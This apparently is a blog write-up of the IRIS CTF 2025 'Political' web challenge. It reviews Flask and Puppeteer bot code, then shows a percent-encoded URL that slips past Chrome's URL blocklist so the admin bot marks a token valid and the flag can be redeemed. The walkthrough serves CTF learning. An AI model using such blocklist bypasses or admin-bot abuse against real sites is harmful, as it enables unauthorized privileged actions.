Post

Web Challenge IRIS CTF 2025 - Political

A detailed walkthrough of the Political web challenge from IRIS CTF 2025, covering token validation, admin cookie exploitation, and URL encoding techniques.

Web Challenge IRIS CTF 2025 - Political

SOURCE CODE REVIEW

When accessing the site https://political-web.chal.irisc.tf/, a random hex token is generated by the /token endpoint:

1
2
3
4
5
6
7
8
9
@app.route("/token")

def tok():

token = secrets.token_hex(16)

valid_tokens[token] = False

return token
  • The token generated is initially not valid because valid_tokens[token] = False.

GETTING PATHWAYS FOR THE FLAG

The /redeem endpoint handles flag retrieval:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route("/redeem", methods=["POST"])

def redeem():

if "token" not in request.form:

return "Give me token"

  

token = request.form["token"]

if token not in valid_tokens or valid_tokens[token] != True:

return "Nice try."

  

return FLAG

To retrieve the flag:

  1. The token must be supplied via the request form (if "token" not in request.form).
  2. The token must exist in the valid_tokens dictionary and must be True.

If these conditions are met, the FLAG is returned. Otherwise, the function exits with one of the failure messages.


INSERT TOKEN INTO VALID_TOKENS

The goal is to make the token valid. The /giveflag function allows this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route("/giveflag")

def hello_world():

if "token" not in request.args or "admin" not in request.cookies:

return "Who are you?"

token = request.args["token"]

admin = request.cookies["admin"]

if token not in valid_tokens or admin != ADMIN:

return "Why are you?"

  

valid_tokens[token] = True

return "GG"

Key requirements:

  1. Provide the token as a query parameter and include the admin cookie (if "token" not in request.args or "admin" not in request.cookies).
  2. The token must exist in valid_tokens, and the cookie must match ADMIN (if token not in valid_tokens or admin != ADMIN).

If successful, the token is added to valid_tokens and set to True. This allows access to /redeem to get the flag.


The bot reads the admin cookie from the file system:

1
let cookie = JSON.parse(fs.readFileSync('/home/user/cookie'));

cookie structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{

"name": "admin",

"value": "redacted",

"domain": "localhost:5000",

"url": "http://localhost:5000/",

"path": "/",

"httpOnly": true,

"secure": true

}
  • infers as admin cookie

The Puppeteer bot:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const puppeteer = require('puppeteer');
const fs = require('fs');
const net = require('net');

const BOT_TIMEOUT = process.env.BOT_TIMEOUT || 2*1000;

const puppeter_args = {};

(async function(){
  const browser = await puppeteer.launch(puppeter_args);

  function ask_for_url(socket) {
      socket.state = 'URL';
      socket.write('Please send me a URL to open.\n');
  }

  async function load_url(socket, data) {
    let url = data.toString().trim();
    console.log(`checking url: ${url}`);
    // replace with your server as needed
    if (!url.startsWith('http://localhost:1337/') && !url.startsWith('https://localhost:1337/')) {
      socket.state = 'ERROR';
      socket.write('Invalid URL (must start with http:// or https://).\n');
      socket.destroy();
      return;
    }
    socket.state = 'LOADED';
    let cookie = JSON.parse(fs.readFileSync('/home/user/cookie'));

    const context = await browser.createBrowserContext();
    const page = await context.newPage();
    await page.setJavaScriptEnabled(false);
    await page.setCookie(cookie);
    socket.write(`Loading page ${url}.\n`);
    setTimeout(()=>{
      try {
        context.close();
        socket.write('timeout\n');
        socket.destroy();
      } catch (err) {
        console.log(`err: ${err}`);
      }
    }, BOT_TIMEOUT);
    await page.goto(url);
  }

  var server = net.createServer();
  server.listen(1338);
  console.log('listening on port 1338');

  server.on('connection', socket=>{
    socket.on('data', data=>{
      try {
        if (socket.state == 'URL') {
          load_url(socket, data);
        }
      } catch (err) {
        console.log(`err: ${err}`);
      }
    });

    try {
      ask_for_url(socket);
    } catch (err) {
      console.log(`err: ${err}`);
    }
  });
})();

A Rough Bot Work Flow :

  1. Prompts the user to provide a URL. (line 14)
  2. Validates the input URL to ensure it starts with https://political-web.chal.irisc.tf/. (line 21)
  3. Opens a new browser context. (line 33)
  4. Sets the admin cookie from the file /home/user/cookie. (line 33)
  5. Loads the provided URL in a page with JavaScript disabled. (line 44)

URL CONSTRUCTION

The input URL must:

  1. Start with https://political-web.chal.irisc.tf/.
  2. Satisfy Chrome’s URL policy (policy.json).

Construct the URL:
https://political-web.chal.irisc.tf/giveflag?token=<generated token via /token>


CHROME POLICY AND URL ENCODING

Due to Chrome’s URL blocklist behavior, encoded characters in the URL are treated literally. This means:

Chrome’s URL blocklist typically operates on the raw URL string without normalizing or decoding it. This means that encoded characters are treated as literal parts of the URL rather than their decoded equivalents.

  • URL encoding the constructed URL bypasses the policy: https://political-web.chal.irisc.tf/giv%65flag?tok%65n=ff71b78003353e5c769e68cb310a13eb

When the bot processes this URL:

  1. It visits the /giveflag endpoint with the admin cookie.
  2. The valid_tokens[token] is set to True.
1
2
3
4
5
6
└─$ nc political-bot.chal.irisc.tf 1337
== proof-of-work: disabled ==
Please send me a URL to open.
https://political-web.chal.irisc.tf/giv%65flag?tok%65n=ff71b78003353e5c769e68cb310a13eb
Loading page https://political-web.chal.irisc.tf/giv%65flag?tok%65n=ff71b78003353e5c769e68cb310a13eb.
timeout

The timeout is not an issue because the time taken to render the webpage exceeds the timeout duration specified in the environment variable (BOT_TIMEOUT) . but the bot visits with the admin cookie and token is insterted into valid cookie


FLAG RETRIEVAL

Finally, access the /redeem endpoint with the token to retrieve the flag.

1
irisctf{flag_blocked_by_admin}

This post is licensed under CC BY 4.0 by the author.